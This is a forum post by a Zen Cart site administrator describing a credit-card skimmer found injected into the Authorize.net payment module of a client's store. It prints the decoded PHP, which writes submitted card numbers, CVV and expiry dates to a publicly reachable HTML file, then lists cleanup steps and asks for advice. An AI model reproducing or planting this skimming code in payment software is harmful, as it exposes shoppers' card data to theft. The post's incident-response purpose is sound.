Administrator
- Join Date:
- Sep 2009
- Location:
- Stuart, FL
- Posts:
- 14,067
- Plugin Contributions:
- 56
Credit Card Hack
While doing some initial maintenance for a new client, I found an eval'd code-block that was inserted at the bottom of /includes/modules/payments/authorizenet_aim.php (it's been removed) that decoded into:
$fp=fopen('/home/account/public_html/folder_name/includes/modules/bluecart/no_account.html','a'); fwrite($fp,$_POST['howpay'].'OWNER:'.$_POST['authorizenet_aim_cc_owner'].'
NUMBER:'.$_POST['authorizenet_aim_cc_number'].'
CVV:'.$_POST['authorizenet_aim_cc_cvv'].'
MONTH:'.$_POST['authorizenet_aim_cc_expires_month'].'
YEAR:'.$_POST['authorizenet_aim_cc_expires_year'].'
'); fclose($fp);
The bluecart template is no longer used by the site and the no_account.html was accessible via direct http access to the site (it's been subsequently removed). The site started out as 1.3.9h, upgraded to 1.5.0, 1.5.1 and finally 1.5.4 earlier this year and is highly modified.
I've instructed the store-owner to change all cPanel and FTP passwords and to remove any Zen Cart admin accounts that are no longer needed. I also did a rudimentary search of the /images folder to see if there were any .php files present (there weren't).
The culprit obviously had knowledge of the site's file-system structure, right down to the base folder name.
Is there anything else I should be doing?